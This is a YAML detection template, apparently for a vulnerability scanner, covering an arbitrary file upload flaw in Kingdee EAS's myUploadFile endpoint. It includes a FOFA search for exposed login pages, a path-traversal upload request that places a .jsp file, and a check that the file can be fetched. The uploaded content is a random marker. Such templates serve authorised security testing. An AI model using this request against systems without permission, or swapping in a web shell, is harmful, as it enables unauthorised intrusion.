漏洞描述
FOFA: title=="EAS系统登录"
id: kingdee-eas-myuploadfile-fileupload
info:
name: 金蝶EAS myUploadFile接口任意文件上传
author: zan8in
severity: critical
verified: true
description: |-
FOFA: title=="EAS系统登录"
tags: kingdee,fileupload
created: 2023/10/13
set:
randstr: randomLowercase(12)
randbody: randomLowercase(30)
rboundary: randomLowercase(8)
rules:
r0:
request:
method: POST
path: /easportal/buffalo/%2e%2e/cm/myUploadFile.do
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: "\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"myFile\"; filename=\"{{randstr}}.jsp\"\r\n\
\r\n\
{{randbody}}\r\n\
------WebKitFormBoundary{{rboundary}}--\r\n\
"
expression: true
r1:
request:
method: GET
path: /easportal/buffalo/../{{randstr}}.jsp
expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()